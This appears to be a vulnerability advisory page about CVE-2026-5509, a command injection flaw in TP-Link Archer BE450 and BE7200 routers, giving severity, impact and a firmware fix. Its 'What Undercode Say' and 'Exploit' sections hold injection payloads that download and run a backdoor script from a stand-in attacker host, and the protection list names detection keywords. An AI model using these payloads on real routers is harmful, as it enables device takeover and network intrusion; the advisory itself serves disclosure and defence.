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An authenticated command injection vulnerability exists in TP-Link Archer BE450 v1 and BE7200 v1 routers, tracked as CVE-2026-5509. The flaw stems from improper input sanitization in the web management interface. After successful authentication, an attacker can leverage the browser’s developer console to inject crafted payloads. These payloads are passed directly to backend system commands without adequate escaping or filtering, enabling arbitrary OS command execution with elevated privileges.
The attack vector is adjacent network, with low attack complexity and no user interaction required beyond authentication. The vulnerability falls under CWE-78 (OS Command Injection) and is classified as critical, with a CVSS v4.0 base score of 8.5. The vector string is CVSS:4.0/AV:A/AC:L/AT:N/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N.
Exploitation occurs when an authenticated administrator supplies crafted input via the web interface; the backend does not neutralize special elements, allowing command injection. Attackers can chain multiple commands using shell metacharacters such as ;, &&, or ||. Once executed, commands run with the highest privileges, leading to full device compromise.
Successful exploitation allows attackers to start unauthorized services, modify firewall rules, redirect traffic, exfiltrate data, and maintain persistent access. The vulnerability does not require physical access; an attacker on the same local network can exploit it.
The affected firmware versions are all releases prior to 1.3.0 Build 20260416. TP-Link released fixed firmware on April 16, 2026. The vendor has confirmed that the routers are not sold in the United States, with distribution concentrated in other regions including Japan.
DailyCVE Form:
Platform: TP-Link Archer
Version: <1.3.0 Build 20260416
Vulnerability: Command Injection
Severity: Critical (8.5)
date: 2026-05-27
Prediction: 2026-04-16 (released)
What Undercode Say:
Check current firmware version curl -k -X GET https://192.168.1.1/cgi-bin/luci/;stok=/locale Enumerate vulnerable endpoints (example) curl -k -X POST https://192.168.1.1/cgi-bin/luci/;stok=/admin/system --data "param=;id" Crafted payload to test command injection payload="; wget http://attacker.com/backdoor.sh -O /tmp/backdoor.sh; sh /tmp/backdoor.sh &"
Exploit:
After logging into the web admin panel, open developer tools (F12). Locate an endpoint that passes user input to a system command (e.g., ping test, traceroute, or firmware update). Inject shell metacharacters followed by malicious commands. Example: 127.0.0.1; wget http://attacker/shell -O /tmp/shell; chmod +x /tmp/shell; /tmp/shell &. The backend executes the injected command as root, granting full control.
Protection:
- Upgrade firmware to version 1.3.0 Build 20260416 or later.
- Disable remote administration and restrict web management access to trusted IP addresses.
- Use strong, unique administrative credentials and change default passwords.
- Monitor logs for suspicious command injection patterns (
/bin/sh,wget,curl,nc). - Apply network segmentation to limit exposure of router management interfaces.
Impact:
Complete compromise of the router’s operating environment. Attackers can intercept network traffic, modify routing tables, disable firewall rules, pivot to internal hosts, and establish persistent backdoors. Data confidentiality, integrity, and availability are fully impacted. For home users, this leads to privacy loss and potential lateral movement into connected devices. For enterprises, the router becomes a foothold for deeper network breaches.
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Sources:
Reported By: nvd.nist.gov
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